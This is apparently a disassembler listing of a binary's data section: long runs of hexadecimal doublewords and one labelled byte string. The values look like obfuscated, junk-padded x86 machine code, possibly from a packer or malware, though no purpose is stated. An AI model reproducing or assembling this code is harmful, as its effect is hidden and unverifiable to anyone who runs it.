		dd 5, 60924635h, 0DE9FBh, 0D7C90000h, 0D01C63D0h, 96DBE8FEh
		dd 0B4D3A029h, 89EBA92h, 0FFC0214h, 890FDABFh, 3, 0FCE8B66h
		dd 587h, 0D3816600h, 8B52328Eh,	0BB665AC2h, 0C180F60Ah
		dd 840F0Ah, 0E8000000h,	0Bh, 364978CFh,	0CA58B624h, 0F7EF89Ch
		dd 1384h, 0EE900h, 12CC0000h, 5E8AA3AFh, 0EE4AC20h, 103C8F79h
		dd 0D181665Fh, 8E94B4Ch, 9000000h, 0B4B07E46h, 66EE8BF1h
		dd 66591CBEh, 0F9021B9h, 0BE8D3B7h, 69000000h, 29A3A4A8h
		dd 3DD0F10Bh, 0E28A92C9h, 9E959h, 0DC830000h, 0AB1468CAh
		dd 0E9EA5FBCh, 0Dh, 31DCE0F4h, 0D33F409h, 0A9BCFD88h, 0BF6650AFh
		dd 605A1478h, 7F2D7BBBh, 5A53533Ah, 0E953615Bh,	12h, 16264237h
		dd 6C73F678h, 0DE6625E6h, 5295417Ah, 0E85AB146h, 0Ch, 0FF39F9C1h
		dd 7C0E7143h, 71C75A48h, 0A9FE2ABBh, 840F5B70h,	2, 0DA8B05B4h
		dd 0FD9BF0Fh, 9ABED9BFh, 0E837D927h, 5,	0C7628DB2h, 9AB46089h
		dd 8B665A61h, 0EF8060FAh, 0FE8B66BFh, 0BB665261h, 6658758Fh
		dd 9E8CF8Bh, 95000000h,	582EF027h, 0F694E312h, 0F0B70F60h
		dd 10C2BEBBh, 605E6103h, 2870Fh, 0CB8B0000h, 14E961h, 0AAA80000h
		dd 0A81148D9h, 0C73BC27Ch, 31E0BF48h, 7013F5C5h, 0DE8B7A68h
		dd 0BA616060h, 323418E6h, 6531BA61h, 5E8542Dh, 12000000h
		dd 4C089F7Bh, 830F5FFCh, 2, 0B70FF18Bh,	12E9FEh, 64BE0000h
		dd 71145E16h, 68B84739h, 0D0A33DF2h, 0B5A850FFh, 56DF8B66h
		dd 68D0Fh, 800F0000h, 0
		dd 60C2B55Bh, 13E8h, 0DC9CE00h,	42004036h, 0AA16D849h
		dd 79FDDF27h, 6A0058DCh, 6659F78Bh, 29AEE981h, 0D8EE8161h
		dd 0F5199C7Ch, 6800F60h, 0F000000h, 84h, 5C78100h, 611C2E19h
		dd 0E9D08B66h, 8, 0A77E27h, 433302E3h, 12C7BE66h, 800Fh
		dd 10E90000h, 8A000000h, 60A5AE26h, 0A237BD94h,	9C39C401h
		dd 665B83F1h, 0F38BC78Bh, 0DE956h, 7ACF0000h, 22E7F1D8h
		dd 0BBF92342h, 58ABB545h, 28C0Fh, 0D78B0000h, 0F7816657h
		dd 0BA58B985h, 71641355h, 13E8h, 0E94E2F00h, 525EACB2h
		dd 27121401h, 8E289577h, 0F686A82Bh, 450EBE66h,	12E85Eh
		dd 0ED290000h, 3DBD6AECh, 917793D4h, 4055B70Fh,	821B3A29h
		dd 14E8h, 99FA3100h, 182C75A7h,	0B78E5C59h, 6E30DA8Ah
		dd 1DBEC4B0h, 5BC68B2Bh, 3BF28059h, 0BAD6BF0Fh,	36EE6F39h
		dd 6E9h, 5150BE00h, 60E8C3E9h, 14E9h, 0A1BD0600h, 0F552AAD3h
		dd 79DA8DBAh, 427D973h,	0AD7873C2h, 61C28BEDh, 0BFFA8B66h
		dd 2081B80Eh, 66FB8B66h, 60AE081h, 0DE8B6660h, 0F61C68Bh
		dd 983h, 3830F00h, 66000000h, 0E960F18Bh, 5, 0C07D0E20h
		dd 5E993h, 29470000h, 61E66AE7h, 0B99EBE66h, 0CE9h, 0F8014E00h
		dd 70F745EDh, 462994ACh, 3800F1Eh, 80000000h, 0F57CAC2h
		dd 88h,	56515F00h, 10E9h, 87757800h, 7A8B4D4Dh,	350F7F6Ch
		dd 4CD059Bh, 57595AB0h,	870F57h, 59000000h, 0E981605Fh
		dd 76E1072Ah, 0FE8h, 1FDA8300h,	18239340h, 80E1D156h, 0A5C844ACh
		dd 0AE8h, 19082200h, 0C24FEE4Bh, 5827411Ch, 0F56615Eh
		dd 680h, 0E4E38100h, 5939A3ABh,	0F5EEB966h, 0EF64B966h
		dd 0C8E0Fh, 880F0000h, 6, 860Fh, 8B660000h, 14E9F7h, 128A0000h
		dd 547B110Dh, 0CA5300B7h, 6DCBB785h, 7BCFFFD5h,	40B053BAh
		dd 48B0Fh, 0B4530000h, 8E85EE9h, 0E3000000h, 0A94F9B87h
		dd 0F5B4148h, 665BF8BFh, 0E808A2BAh, 9,	704D50CAh, 7DC65942h
		dd 0E9815648h, 430A645Bh, 48BF5A5Bh, 0E94C04B8h, 0Bh, 2CFE2C73h
		dd 1E3155Bh, 0F02DC3Bh,	283h, 60C78B00h, 45CF8153h, 594041E4h
		dd 68B0Fh, 830F0000h, 0
		dd 0DE961h, 0C8390000h,	4F137A00h, 58A34511h, 8B3FB571h
		dd 0FCB8AC6h, 58Dh, 0C8816600h,	0B70F53A0h, 0E930B3DFh
		dd 14h,	74739E56h, 0A2B22F52h, 198926Eh, 804A82E2h, 882E8BFh
		dd 66C7BF0Fh, 8B0FD38Bh, 5, 0B04DE5BBh,	0E580602Ah, 0CE9DCh
		dd 46790000h, 7434EE6Eh, 0CA2986Dh, 0F61D1A8h, 98Bh, 38F0F00h
		dd 66000000h, 8053D68Bh, 575992DBh, 0BE95EF9h, 0C7000000h
		dd 0E46196Dh, 0B5BACD8Bh, 13E8752Ah, 53000000h,	0E816AC8h
		dd 2A6B89CCh, 0A4AF5D6Bh, 61DDF248h, 8166B50Ah,	5EB184C1h
		dd 0D850C781h, 52537D42h, 5E5F5857h, 561BEB81h,	0BE93BA1h
		dd 0B1000000h, 0E0D0DE1Ch, 383C77D8h, 7E81CD5h,	33000000h
		dd 0EAEE2C03h, 0FA8B2086h, 64EABF59h, 0DC802D9Ah, 0B42ABB8Fh
		dd 10E83D63h, 0DE000000h, 1F3710A5h, 50F0A907h,	0C7B2933h
		dd 804CFBB3h, 525F9AEBh, 14E9h,	2EB2B00h, 0E944FBEBh, 0E156C18h
		dd 4E315B18h, 0ACF4A49Bh, 870F5958h, 9,	0B9A3B560h, 732A8598h
		dd 18BF6061h, 0F614CB4h, 18Eh, 6061FC00h, 0F4DD280h, 0F61C9B7h
		dd 8166DBBFh, 0BEB74BD9h, 77C1B3B4h, 18DD80F9h,	12E9h
		dd 7314F000h, 3D758E8Ah, 2EC1B25Ch, 1A07FADFh, 0B09FA0C5h
		dd 0E7D580E5h, 54E097BEh, 8BB86652h, 0CFB70F96h, 0E8F7B70Fh
		dd 8, 0CDD10A65h, 0D79AD018h, 0E95ACA8Bh, 6, 0BC78AC94h
		dd 8B51EC1Ah, 0D38A5BCBh, 860Fh, 7E80000h, 7000000h, 0E4E90812h
		dd 0F534B75h, 84h, 81585E00h, 0E260BD0h, 870F6045h, 3
		dd 8AC38B66h, 0F38061CBh, 576060D7h, 7E96159h, 20000000h
		dd 0F4904350h, 6661DA88h, 81B734BEh, 8E702EE0h,	20F3812Fh
		dd 0E915E309h, 0Dh, 6827BD04h, 0FAC6FCCBh, 0B01AF848h
		dd 3EBB66D0h, 0FDF8B30h, 0EB81C1B7h, 1BE19336h,	5870Fh
		dd 81660000h, 66B523D3h, 0BE9F08Bh, 0DB000000h,	294AC524h
		dd 93E826ECh, 0CF8B430Bh, 0E8F8D78Ah, 5, 14E998EAh, 5EF957FAh
		dd 0CE85Bh, 0BE30000h, 0FCF5373h, 854AC905h, 0D98BFA37h
		dd 0F515258h, 585AC6B7h, 2097F781h, 0B70F1CE3h,	8810FDEh
		dd 60000000h, 0E2AAFB9h, 0F61F864h, 1989h, 14E900h, 73E30000h
		dd 0C3B56DABh, 0DF9CBF54h, 0EB4DAD58h, 0A229181Ch, 8B0FAEF3h
		dd 3, 0FCEBF0Fh, 183h, 9E9F500h, 99000000h, 5873A2A9h
		dd 0FA8EC9E1h, 3850Fh, 0F5560000h, 0D08B665Eh, 10E9h, 25ADE000h
		dd 0DAACCEFBh, 0EA4C2B42h, 3D580F6Ch, 0F9BF0F01h, 0E6EA8166h
		dd 9E93Eh, 73370000h, 6051E9DFh, 6660F580h, 98D0EE81h
		dd 51F9B70Fh, 59F18B66h, 0FE9h,	83041600h, 9C61F7BCh, 0A42B3AD9h
		dd 9D641B84h, 50FEC880h, 0BE9h,	9B4DDD00h, 833724BDh, 24BE0DC1h
		dd 0F8BF0F59h, 0C3BE6651h, 0F78B5EEAh, 860F6060h, 0
		dd 61FAD280h, 99CF8166h, 0ACBF613Dh, 6050B65Ch,	0D9D98166h
		dd 5DBE66BEh, 0EE86174h, 5E000000h, 0F50E2815h,	91666E8Eh
		dd 0CBDED948h, 68BB665Ah, 0F5F8585Ah, 8F0Fh, 8B660000h
		dd 0FE9D1h, 0E2430000h,	1804F53Ch, 8F57AC81h, 586A39CAh
		dd 13830F4Eh, 0E8000000h, 8, 24FB8B0Ch,	0ADC246E5h, 4AA46FBEh
		dd 0B552593Ah, 81665E30h, 0F964FC7h, 70BFFBBFh,	0F7407CCh
		dd 386h, 0A9D68000h, 18F0Fh, 0F8F90000h, 3880Fh, 0D2800000h
		dd 0C2D981B5h, 6663CA0Ah, 25B9DA8Bh, 66409004h,	0BA49C3BAh
		dd 51169E02h, 12E8h, 5632F100h,	46E4A40Bh, 3D147A63h, 0FCD705E5h
		dd 66E20752h, 5FFDC7BAh, 5880Fh, 81660000h, 0E96BAEC1h
		dd 0Ah,	0F6F9B438h, 14BEFDC2h, 0F98B5C11h, 0B0C921BBh
		dd 53BF6602h, 68C0FA1h,	81000000h, 0F14322E3h, 0FE955h
		dd 4CBA0000h, 5B34D34Bh, 0D46661Dh, 0D4B99D7Dh,	0C1BF667Fh
		dd 0FE857ADh, 0D6000000h, 9DF4E3B2h, 0EB37FCAAh, 0B6B8E5DEh
		dd 0EE83B94h, 9000000h,	0E6A0B61Ch, 75461E11h, 38396885h
		dd 5F5858A8h, 0DDC5F081h, 0C28B5ECDh, 0C7D8BE66h, 241FB866h
		dd 5890Fh, 80570000h, 0E95ECADBh, 0Ah, 24F3A009h, 6C929A9Dh
		dd 0F6BB4F57h, 0E834CE80h, 0Bh,	9C471DC2h, 815893C7h, 0F263EECh
		dd 0BB5BC7B7h, 234D81A5h, 80FE8B66h, 860F90E6h,	6, 0C149E281h
		dd 0BA666272h, 81664A6Eh, 0F5FD6DE2h, 0AE9h, 5B86E700h
		dd 9474DD97h, 0FF0DC11h, 0F8Dh,	0AE900h, 0CBC00000h, 151E3E94h
		dd 9C04E968h, 0BF6660F5h, 0F61C5CFh, 0E081C8BFh, 4596C836h
		dd 38A0Fh, 8B660000h, 90C781DAh, 6664612Fh, 0AC89EA81h
		dd 0D7B70FF8h, 0BFE88166h, 0A993BF48h, 0D88166DDh, 38D72989h
		dd 0CAC98166h, 0A823BEF8h, 60601B36h, 800Fh, 66610000h
		dd 8161FB8Bh, 144DBBD1h, 0BE91Eh, 76070000h, 486C7DC2h
		dd 7243AA2Ah, 14E847h, 0E5820000h, 0FD5C9614h, 6682A628h
		dd 0D987C1BDh, 0A0DDAB43h, 0F5AE947h, 6660CEB7h, 0F54D9BEh
		dd 8161D8BFh, 0FF7DC5D8h, 8E907h, 320000h, 0BCB5DC44h
		dd 840FD221h, 1Ch, 11E8h, 825BB300h, 18EBE9C9h,	6FCF33CEh
		dd 0FD345D2Eh, 8166BDB0h, 58C7DEE8h, 0FE9h, 750DCE00h
		dd 4DCE5FAh, 9417F361h,	0E14A8DAAh, 0FF28B66h, 38Ch, 1DCF8000h
		dd 0F3EB8166h, 0FE83Fh,	6AF40000h, 0BE9AF175h, 16E3349Bh
		dd 0C4A46B13h, 168D0FB2h, 0E9000000h, 11h, 2BA96030h, 0A4C4E6EDh
		dd 0BD8A800Fh, 0E518A81Dh, 8B665F32h, 505060C3h, 0F58A5958h
		dd 0FE9F961h, 0A0000000h, 0DC86DEDAh, 91A8CCFFh, 0CCFB333Ah
		dd 8F0F7C64h, 2, 800F5DB4h, 0Bh, 43D28160h, 663BAF18h
		dd 0B661F08Bh, 60C88BFEh, 0FE9h, 80C98B00h, 1EC87784h
		dd 5C71C17Fh, 282B0EA6h, 61D78B66h, 0A2F8BB66h,	605738B0h
		dd 6160DCB5h, 8A605F61h, 6172B5FCh, 820FD98Ah, 1, 0EA8166F9h
		dd 54B12F6Eh, 0FE860h, 6BAF0000h, 83F32DE0h, 4893B75Dh
		dd 2DF7F81Bh, 5E870h, 0DD0E0000h, 5E4FAB25h, 0A4C1BE5Ah
		dd 0FC612848h, 0BE8h, 0A45AE00h, 77038B1h, 290673D0h, 9E9h
		dd 1E462900h, 23345BEDh, 6659184Bh, 0E94A1FB8h,	6, 62F2F7B7h
		dd 9E93A06h, 7C000000h,	2A9B046Eh, 0FA71B77Bh, 2860Fh
		dd 0DF8B0000h, 6E9h, 42210C00h,	0E80F8B60h, 11h, 854FA703h
		dd 21CCA67Ah, 1F69C782h, 8F8BE019h, 0EE8BEh, 8D540000h
		dd 0B4AAC5C4h, 0D6196E3h, 99C157DEh, 850Fh, 5F580000h
		dd 4810Fh, 0BE660000h, 840F2786h, 3, 0E946DE80h, 14h, 0CFB73981h
		dd 0A1A4F6C3h, 0F15BD874h, 0E39F1C80h, 0C84F5493h, 8840Fh
		dd 870F0000h, 2, 830FC78Bh, 4, 71CABE66h, 0FD7B70Fh, 3286h
		dd 14E800h, 0AE3D0000h,	6DA2ABB2h, 0F032F306h, 55D9A1C3h
		dd 77C908F2h, 13E9E577h, 28000000h, 0B94DBB41h,	0C9122A4h
		dd 9F163741h, 0A231677Dh, 0F85A156Bh, 0B860Fh, 8D0F0000h
		dd 5, 801705BBh, 0E7816611h, 0BB6620C3h, 0B9661C6Eh, 0FFBF8E83h
		dd 662CE385h, 8892DF81h, 0A8AA11BEh, 0B70F523Fh, 5E958FAh
		dd 3D000000h, 65D6C7E9h, 0D5CBC7BBh, 0E9BB666Dh, 7E9BFh
		dd 75140000h, 0B7E1FEFBh, 0EB86607h, 11E921h, 7B1E0000h
		dd 63D6ED1Bh, 1F3AB5CAh, 921951E0h, 0B20E8429h,	0CBCBFE9h
		dd 0B70F6C7Dh, 8B66FCF1h, 8B6653CFh, 0B70F5ED1h, 7E8C8h
		dd 0FC3E0000h, 281070CBh, 13E95E23h, 13000000h,	643B29F3h
		dd 737C47BDh, 0A35D1772h, 2772E3B0h, 0E381B817h, 55ADBFDDh
		dd 59F28B50h, 0CE8h, 0B38E200h,	7E062E76h, 3135AD70h, 360CBF00h
		dd 0E8581042h, 6, 0CB0AF7DFh, 0FE8A81D6h, 0D7B96659h, 0D5BF6692h
		dd 8BB9B6DFh, 62BE66F2h, 3810F63h, 0F000000h, 0F98BD9BFh
		dd 0CE8h, 0FEF5FE00h, 833E133Bh, 0A72742BEh, 0C7BF0FA3h
		dd 7E9605Eh, 21000000h,	780E3568h, 0B0619A3Eh, 2880F0Ah
		dd 8B000000h, 0B2BF66C7h, 0A6BB6696h, 0D7BB663Ch, 66FB8B15h
		dd 0C2C7D681h, 5850Fh, 81660000h, 515561E6h, 38E0Fh, 0D8800000h
		dd 0B9665EC7h, 0BE6617F4h, 8F0FB1ECh, 19h, 14E9h, 0C2FE6A00h
		dd 208CF035h, 8E2B74CAh, 63A6BB04h, 0BB6DA91Ah,	0D8B70FA9h
		dd 1FECB966h, 0F850Fh, 0AE90000h, 0B8000000h, 142CB156h
		dd 9025C0DFh, 8B66F866h, 8F0F50C7h, 3, 58DFBF0Fh, 0DE9h
		dd 6EDFC200h, 2DFCC8E5h, 4A7354D7h, 52536517h, 0E5B966h
		dd 0E9605A59h, 6, 0B8777476h, 0D1802138h, 0BF0F6166h, 0B5FB8BC8h
		dd 60F98A39h, 0A5C1F081h, 0F61251Fh, 382h, 0D38B6600h
		dd 0FCF28B66h, 0B8661AB5h, 850F6427h, 22h, 0CE8h, 0FC396400h
		dd 0A92AB12Ch, 995E555Dh, 0AE883h, 58220000h, 0AD767896h
		dd 721FBCEBh, 0C28B5A5Fh, 0F912DB80h, 3820Fh, 0BF0F0000h
		dd 60C68BC0h, 66616060h, 6324D681h, 44CA8061h, 0CFBF0F61h
		dd 8E9h, 0D8D3EF00h, 705BA9F0h,	18BF6600h, 89BB666Eh, 0C6BF0FBBh
		dd 5D10E081h, 0B8663418h, 0B4FCCC5Bh, 3820FEAh,	0F000000h
		dd 0FE9C2BFh, 0A8000000h, 0A9BE38FFh, 0D051F969h, 0C2F707DDh
		dd 0BF0FDBB4h, 0FE9D3h,	22BF0000h, 9D8E62EAh, 30FDB44Ch
		dd 0F54DBF8Bh, 51B0530Bh, 0E181665Bh, 0BB601096h, 43A5CCB2h
		dd 91D08166h, 0F380616Ah, 0E18A5133h, 873B85Fh,	7E97FEFh
		dd 0CC000000h, 4A18272Dh, 8166358Eh, 66D5C7E8h,	0E88568B9h
		dd 7, 0B90B51C2h, 57D351FAh, 805B58F8h,	840F90D4h, 5, 0B15810BBh
		dd 0F60FC55h, 8Dh, 0F9B70F00h, 0F1B86661h, 8B606064h, 800FF8h
		dd 61000000h, 61CEBF0Fh, 0E9FAB70Fh, 0Dh, 0DCBC3A00h, 0C28BF5CDh
		dd 0E601B400h, 8B0FF9E0h, 3, 0BFD88B66h, 6F3357FDh, 13E8h
		dd 69961B00h, 0F62536D8h, 0B521A966h, 15A525EFh, 0DDE07B8Dh
		dd 5E61F380h, 14E9h, 252A8500h,	837A10B2h, 116A789Ah, 40B2F5DAh
		dd 0A13104ACh, 66F7B57Fh, 8B66F28Bh, 0D8B866F7h, 86DB8153h
		dd 0E9521861h, 10h, 0C34E6944h,	0F788E767h, 732C563Dh
		dd 849C1622h, 0E979C680h, 0Ah
		dd 95C81447h, 0FA809F83h, 8E98B42h, 0D2000000h,	0EF8D41C2h
		dd 8B30182Dh, 8013B0F1h, 0BE9CAD9h, 6B000000h, 0F38255E9h
		dd 6DC87C8Eh, 8166BF64h, 81BC46D9h, 0DF8BD8EBh,	11E97Bh
		dd 5AC40000h, 8C75077Bh, 0DB027B37h, 8DE341C0h,	0FD86569h
		dd 850FF0BFh, 5, 58F38166h, 0A870F70h, 60000000h, 0A6EB8166h
		dd 45C28091h, 1840F61h,	0F5000000h, 0E8E0Fh, 0E9500000h
		dd 7, 0BF4F810Dh, 5A155461h, 0EEE7F181h, 30BE1F34h, 66502AD3h
		dd 0B25ADCBFh, 0B249B7F3h, 0D181FC9Bh, 2CCEB9F0h, 0CE9h
		dd 0F0F4D800h, 3F8968B5h, 80E0E82Dh, 8005B075h,	0F56085C5h
		dd 726FEEB9h, 66606136h, 5760C38Bh, 0D4F28058h,	0EE86161h
		dd 7C000000h, 0B5AEF67Dh, 0E7311246h, 0ECFDB8E2h, 0F6809Ah
		dd 48E0F58h, 66000000h,	0F8BE03B9h, 0FE9h, 0B47E6200h
		dd 0CC9F5F17h, 0F4BE5DC8h, 75D697CEh, 0F5CA8166h, 0EE85Bh
		dd 0E2500000h, 2CC7CF7Bh, 4DF3D752h, 0AD5B24E1h, 8E9h
		dd 0BA485C00h, 2B8AFE62h, 4AB75FD4h, 860Fh, 810F0000h
		dd 1, 12E8F9h, 253E0000h, 3912DE8Eh, 2B7DFB62h,	0D20F0671h
		dd 467C0C16h, 0B95BD18Bh, 1ADE91C6h, 0CE8h, 0CD1DC000h
		dd 0AF92EF8Ch, 0D7A9D423h, 5EBDB2B0h, 81665856h, 0E95B5ED2h
		dd 5, 0FD6FF405h, 9E96049h, 0E3000000h,	22A91906h, 0B3F3DDA4h
		dd 810Fh, 0E9610000h, 9, 9FBD6CE0h, 9757045Ah, 60566039h
		dd 81665F61h, 61315AEFh, 6E9h, 6466100h, 0F3BAD46h, 58Dh
		dd 0BB36BE00h, 820F64ABh, 8, 860F50h, 5F000000h, 0FC6B70Fh
		dd 1585h, 10E900h, 0A2790000h, 0F55E9923h, 0D7B95Eh, 62ED2FB3h
		dd 0A9B22C67h, 53C1B70Fh, 5FEBF380h, 0DC40BB66h, 0E8F7B70Fh
		dd 0Ah,	4B3F7781h, 573C24A4h, 0BB66B49Fh, 6659FD05h, 8166D18Bh
		dd 66709FD0h, 666BA5BAh, 0E92475B8h, 9,	43A85E02h, 0CDC2A6E8h
		dd 16B4600Bh, 0F961E0B6h, 0DE9h, 0DEAD7B00h, 33337277h
		dd 0EF773182h, 0BF66C197h, 81667E58h, 0F02D6C1h, 486h
		dd 0C8B96600h, 0D881FC9Fh, 3F80C4D7h, 0FE8h, 0B37AA000h
		dd 1F750089h, 0D3B57DB5h, 0E1C0BB7Eh, 10E960h, 4FBB0000h
		dd 0F7CA349h, 8595B2E8h, 0AA89CD48h, 0CF80CAA0h, 0F596125h
		dd 8Dh,	8166FC00h, 60FDC1D2h, 0EC12D281h, 800F0C53h, 3
		dd 619BD880h, 25D28160h, 0F91D6210h, 0FC78A61h,	880FD6BFh
		dd 4, 601BB866h, 5C4DEF81h, 0CE9327Ch, 8E000000h, 808F0D98h
		dd 376A6E0Ah, 8B42F679h, 0C78B66C8h, 0EE9h, 1020D200h
		dd 97462078h, 0DAC40C1Eh, 525453AAh, 8A0F50h, 58000000h
		dd 0C2BF0F5Eh, 89C78166h, 10E8F1h, 93870000h, 2259E618h
		dd 0C772834h, 7B6012EFh, 0BF0FBF35h, 880F5ED0h,	16h, 0AE8h
		dd 68701300h, 2B2AAB7Ah, 0FAA7334h, 85h, 0C88B5900h, 66F88B66h
		dd 66FCDF8Bh, 874ACE81h, 3840Fh, 8B660000h, 6035B0D7h
		dd 14E9F28Bh, 0B3000000h, 55EA87BCh, 49D20885h,	348F6148h
		dd 0FD6126A7h, 610C55DBh, 8BFBBF0Fh, 0A25CBAF1h, 890F41E3h
		dd 7, 0F595260h, 6061C7B7h, 81F3B70Fh, 5206CCD9h, 0EE86105h
		dd 0EF000000h, 9EC10299h, 0F1986244h, 29DA1DA7h, 890F521Ch
		dd 0
		dd 0FE95A5Eh, 8E000000h, 432FE995h, 69F48F21h, 6E4DAE1Eh
		dd 0E9F99EABh, 0Dh, 6E8A395h, 3D31C800h, 7A67A0h, 10E93Ch
		dd 8F5D0000h, 95945850h, 4F67DBB7h, 0AF631145h,	0D18059CAh
		dd 3880F71h, 80000000h,	0B8665AD7h, 5E964BFh, 2A000000h
		dd 3A05F6A2h, 0FC78B66h, 28Fh, 8B26B700h, 16FFB9F3h, 81664271h
		dd 53BE93D0h, 0B7A244BBh, 81F85A26h, 0BE3248D6h, 59F95240h
		dd 0FCF8B66h, 88Eh, 8C0F5100h, 0
aYlS		db 'Y‹Ñé',0Ah,0
		align 4
		dd 1384DC65h, 886214D1h, 5E8B5E8h, 21000000h, 40C8F97Eh
		dd 59DBC180h, 5E9h, 0CC9D0E00h,	0C88B4AC6h, 12E951h, 0FA320000h
		dd 19BAD91Ch, 5E288535h, 1DC5C9F6h, 793F7520h, 0C7816658h
		dd 8E86D9Ah, 0EA000000h, 0E8E12989h, 0FCB8B6C4h, 0CF8BF558h
		dd 0FCCCBB53h, 0F5A74D5h, 8Ch, 0FEAB500h, 1B81h, 12E800h
		dd 0F3DF0000h, 2181A735h, 0AD6F641Dh, 3066DFCAh, 29DCF81Ah
		dd 58C3BF0Fh, 8B0Fh, 0DA8B0000h, 3860Fh, 8B660000h, 0F38B66C1h
		dd 87CBBF66h, 0CE95F57h, 51000000h, 7B8BC36h, 23EB028h
		dd 81E75C40h, 554345E2h, 8B66607Dh, 0EBCF80C7h,	81666061h
		dd 575C5DD7h, 7E9h, 44603500h, 0C1B826BCh, 0F781615Fh
		dd 26F426Fh, 65E28166h,	8880F35h, 51000000h, 0D7E4D281h
		dd 0F5B614Eh, 48Fh, 79B96600h, 0FEBB196h, 8Eh, 13E900h
		dd 0F9E20000h, 48B38B64h, 0DD93BABBh, 95DE9B58h, 0FA5E8479h
		dd 0D98B66B0h, 5E9h, 6A3E4800h,	11E91F27h, 70000000h, 8BBC174Bh
		dd 5290F1CBh, 74C00873h, 0CD6E37A9h, 66CBBF0Fh,	0E7C6DB81h
		dd 13E9DE8Bh, 0C1000000h, 6C407212h, 567C11Dh, 21A476D1h
		dd 0B62088AAh, 0F480AE8Ch, 0EE8C9h, 90D70000h, 76413D18h
		dd 0B4598054h, 257C9A8h, 29FEB8h, 0E9F8592Bh, 6, 6665D00h
		dd 0DA8BB966h, 0C7B7D98Bh, 9E9h, 5428CB00h, 0DD2FA3C2h
		dd 0E9F9759Ch, 14h, 97FBECECh, 5FC4AF7Dh, 0CBE780E2h, 0FD3894BDh
		dd 2A7DC86Ch, 571DF4B9h, 0C6E98102h, 804645A4h,	8B663DF7h
		dd 9E9CAh, 1A860000h, 0B4E3F2FEh, 66185F7Ah, 0E9A948BEh
		dd 13h,	0B6773258h, 0E521F919h,	0ED8A5031h, 72BE330Fh
		dd 0E9D0A2F4h, 7, 54B8A365h, 53433DD2h,	0ACD2BA66h, 7D9CB85Fh
		dd 800F354Eh, 5, 609F6BBFh, 0F60F532h, 8A60D9BFh, 61C28BF1h
		dd 81666061h, 80140BD1h, 0E861B3F0h, 13h, 78311D1Ch, 0FDC8ECCBh
		dd 0FA50C17Ch, 0B5399FB2h, 8A3660F7h, 0FE959D4h, 92000000h
		dd 0B904F4BCh, 949DA60Dh, 22F9C858h, 8B667794h,	0D88B66D7h
		dd 9F93BB66h, 0D212E6BFh, 0B40B819h, 0BE6668F6h, 0F5745B6h
		dd 686h, 8C0F00h, 5E000000h, 820Fh, 0DE90000h, 0B2000000h
		dd 0DEAB2ED5h, 52C1EE25h, 0E9D7E8DAh, 0ADB3F781h, 0E0806F20h
		dd 10E8A7h, 0BF350000h,	0D3EA1D77h, 0D622B3A5h,	0C789C4Ah
		dd 0DF811B1Eh, 5AA01391h, 4407B959h, 890F1B08h,	11h, 0CE9h
		dd 4A0A9400h, 0BC231718h, 8B320497h, 14E9B1h, 2FBA0000h
		dd 0F4A8D9CAh, 0D8603980h, 0C7240DF7h, 0EEF1A1ABh, 0F781B815h
		dd 239122ABh, 5870Fh, 81660000h, 60B74CC8h, 587641B9h
		dd 6158570Ah, 0A3F68166h, 7BBE665Fh, 0E8C68B9Ah, 12h, 0B582CF10h
		dd 6A659382h, 43D077FCh, 69540510h, 2EB0E8BEh, 4DBE6658h
		dd 0C8E0F2Eh, 60000000h, 74E78166h, 95E9BBD6h, 0E9616082h
		dd 0Ah,	0CE945B8Dh, 0CFE8E277h,	820F79CAh, 8, 28C0Fh, 0D78A0000h
		dd 9E9h, 0BB939800h, 13B49A47h,	0CE8BCB01h, 5E9h, 40F03900h
		dd 0E9F502FAh, 10h, 413BB4E2h, 3A76CF44h, 61E4E552h, 0E4FA6AD3h
		dd 8076D980h, 0C881EED0h, 114C0F0Ch, 15890Fh, 10E90000h
		dd 0B7000000h, 63CCA841h, 923594B8h, 8514428Dh,	8BE4ED91h
		dd 0D98B66C8h, 0FCDBBF0Fh, 0B7B96660h, 48B0F02h, 66000000h
		dd 610EF0BFh, 0B01A57BEh, 3DF48036h, 0A8F0Fh, 5E90000h
		dd 0BC000000h, 5AD161B2h, 0CE80E58Ah, 19DB81F3h, 0F3AA0BBh
		dd 180h, 0CE8F500h, 0BF000000h,	1DCE5A09h, 3D3483Bh, 6670458Ch
		dd 0BF58DF8Bh, 5DA810CAh, 8F78166h, 0DABF0FE4h,	66CAB70Fh
		dd 0B866DA8Bh, 816640DBh, 0E9439DD0h, 11h, 9BE4E7D3h, 1876FDCAh
		dd 0E8E54E73h, 6AA14268h, 8C0FF910h, 0Ch, 68B0Fh, 0D1810000h
		dd 276135F9h, 0E8E0Fh, 9E90000h, 21000000h, 0F9CFED4Ah
		dd 0E1D9D5CFh, 441DEBBAh, 0FF98B12h, 8166D8BFh,	51A7AFC6h
		dd 7BD08166h, 81F85FC3h, 728AAE6h, 4DBF664Ah, 26BF66CDh
		dd 41BE6688h, 81EAB0F4h, 5C62A9D8h, 11E87Dh, 6A9C0000h
		dd 0C03223CDh, 188258FEh, 0ED38A4DFh, 60BE5085h, 0E6E98166h
		dd 615952CDh, 0EE95Ah, 87EA0000h, 3173D178h, 0C5D38AF6h
		dd 0A9779B0Fh, 0CE9h, 9E491000h, 0A80EE55Ch, 0EFA7E3D3h
		dd 66CC8A87h, 8166D18Bh, 0E902E2C7h, 12h, 5C755762h, 0FA57718Ah
		dd 62CA9E4Fh, 150069AEh, 85B985FAh, 0E80D5F20h,	14h, 23EA0DB5h
		dd 673BA2E1h, 0E98CC7EFh, 0F8A6EE70h, 5965FD8h,	0D8A0Fh
		dd 8E90000h, 32000000h,	6E55AD90h, 5BB31643h, 810Fh, 59570000h
		dd 4830Fh, 0B9660000h, 0B70FF712h, 0F88B66CAh, 0D860F60h
		dd 0E9000000h, 8, 0F103E622h, 0C593E2B8h, 0E961D78Bh, 6
		dd 8C8CFC99h, 0E58A2EBCh, 0D96DBB66h, 0E9F7B70Fh, 0Bh
		dd 79E43D0Dh, 8D9D6915h, 60D42D73h, 12E960h, 6950000h
		dd 117E096Bh, 9857AF06h, 490F3CCh, 0ECC100D5h, 820F61FCh
		dd 6, 0E7EECA81h, 0B46107AEh, 5840FFBh,	0B8000000h, 56984493h
		dd 68A0Fh, 0D0810000h, 576FF09Fh, 6820Fh, 0DA810000h, 3AB48588h
		dd 8B0FDF8Bh, 5, 80D2C2BFh, 85F7BF4Eh, 80F848C2h, 8A0FE6CFh
		dd 5, 0FCF68166h, 3890F8Eh, 80000000h, 840F3DCDh, 0
		dd 66F78B66h, 9861F781h, 5E9h, 6E9FF100h, 8E820A5h, 77000000h
		dd 62AA03B1h, 0E94EF5CEh, 0Eh, 76994B62h, 94FEE49Ch, 0BDE99A3h
		dd 525A21ACh, 5FD18B66h, 0CE931B4h, 53000000h, 1C870B3h
